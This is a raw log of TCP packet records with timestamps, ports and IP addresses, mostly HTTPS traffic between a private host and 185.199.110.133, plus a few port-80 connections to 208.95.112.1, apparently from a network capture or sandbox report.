Jun 29, 2024 16:30:00.738257885 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:00.738286972 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.214176893 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.214263916 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.216155052 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.216170073 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.216634989 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.218478918 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.260533094 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.400500059 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.400654078 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.400693893 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.400734901 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.400755882 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.400825024 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.400891066 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.401035070 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.401097059 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.401113033 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.401395082 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.401446104 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.401458979 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.401730061 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.401812077 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.401824951 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.407666922 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.408152103 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.408164978 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.455166101 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.492609024 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.492712975 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.492769957 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.492778063 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.493344069 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.493381023 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.493400097 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.493405104 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.493454933 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.493488073 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.493499041 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.493504047 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.493544102 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.494503021 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.494565964 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.494570017 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.494621992 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.494667053 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.494695902 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.494700909 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.494734049 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.494775057 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.494776964 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.494787931 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.494821072 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.494826078 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.494906902 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.494982958 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.495043039 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.495096922 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.495101929 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.495825052 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.495923042 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.495928049 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.539104939 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.539177895 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.539203882 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.580182076 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.582964897 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.583138943 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.583168983 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.583194017 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.583197117 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.583216906 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.583236933 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.583678007 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.583709955 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.583749056 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.583759069 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.583892107 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.583939075 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.585237026 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.585244894 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.585295916 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.585310936 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.585333109 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.585360050 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.585370064 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.585381031 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.585381031 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.585401058 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.585438013 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.587435961 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.587454081 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.587522030 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.587546110 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.587606907 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.630058050 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.630085945 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.630166054 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.630255938 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.630307913 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.630307913 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.672998905 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.673038006 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.673124075 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.673151970 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.673187017 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.673207045 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.674758911 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.674778938 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.674841881 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.674848080 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.674901009 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.676657915 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.676677942 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.676717043 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.676722050 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.676758051 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.676778078 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.717274904 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.717307091 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.717365026 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.717389107 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.717422962 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.717447042 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.761518002 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.761554003 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.761657000 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.761684895 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.761806965 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.762861013 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.762887001 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.762964010 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.762974024 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.763025999 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.764815092 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.764842987 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.764924049 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.764930010 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.764969110 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.766666889 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.766686916 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.766736984 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.766751051 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.766778946 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.766793966 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.767687082 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.767710924 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.767771959 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.767782927 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.767812967 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.767832994 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.769447088 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.769469976 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.769524097 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.769531012 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.769572020 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.771235943 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.771261930 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.771341085 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.771348953 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.771385908 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.806109905 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.806138992 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.806226969 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.806253910 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.806269884 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.806289911 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.850560904 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.850591898 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.850640059 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.850666046 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.850682974 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.850703955 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.851988077 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.852009058 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.852054119 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.852068901 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.852091074 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.852106094 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.853950977 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.853970051 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.854003906 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.854018927 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.854036093 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.854052067 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.854825974 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.854854107 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.854888916 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.854902029 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.854923964 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.854939938 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.856020927 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.856045008 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.856086969 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.856101990 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.856120110 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.856133938 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.856774092 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.856827974 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.856849909 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.856894970 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.856930017 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.857793093 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.857815027 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.857845068 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.857860088 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.857877970 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.857892036 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.894885063 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.894959927 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.894978046 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.894989014 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.895025969 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.919553041 CEST	49708	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:01.924547911 CEST	80	49708	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:01.924674988 CEST	49708	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:01.925808907 CEST	49708	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:01.930569887 CEST	80	49708	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:01.940809965 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.940840006 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.940912008 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.940912962 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.940937996 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.940953970 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.940960884 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.940979004 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.941006899 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.941011906 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.941020012 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.941032887 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.941056967 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.941061974 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.941087008 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.941101074 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.942823887 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.942843914 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.942914009 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.942925930 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.942986012 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.943795919 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.943813086 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.943855047 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.943860054 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.943906069 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.944703102 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.944719076 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.944751024 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.944755077 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.944797039 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.946315050 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.946331978 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.946367025 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.946372986 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.946397066 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.946413040 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.983359098 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.983381033 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.983422041 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.983437061 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:01.983449936 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:01.983473063 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.027595043 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.027621031 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.027684927 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.027714968 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.027900934 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.028714895 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.028731108 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.028789997 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.028803110 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.028865099 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.029567003 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.029582024 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.029623032 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.029633999 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.029659033 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.029674053 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.030343056 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.030363083 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.030430079 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.030440092 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.030509949 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.032052994 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.032068014 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.032111883 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.032124996 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.032221079 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.033015013 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.033027887 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.033077955 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.033087969 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.033135891 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.033930063 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.033946037 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.034001112 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.034012079 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.034120083 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.072438955 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.072455883 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.072536945 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.072571039 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.072904110 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.097894907 CEST	49709	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:02.104384899 CEST	80	49709	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:02.104496002 CEST	49709	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:02.104832888 CEST	49709	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:02.109797955 CEST	80	49709	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:02.116648912 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.116666079 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.117660046 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.117719889 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.118772030 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.124500036 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.137777090 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.137809992 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.137885094 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.137896061 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.137908936 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.137928963 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.137929916 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.137945890 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.137958050 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.137975931 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.137979031 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.138001919 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.138014078 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.138029099 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.138046980 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.138047934 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.138062954 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:02.138081074 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:02.138094902 CEST	49707	443	192.168.2.8	185.199.110.133
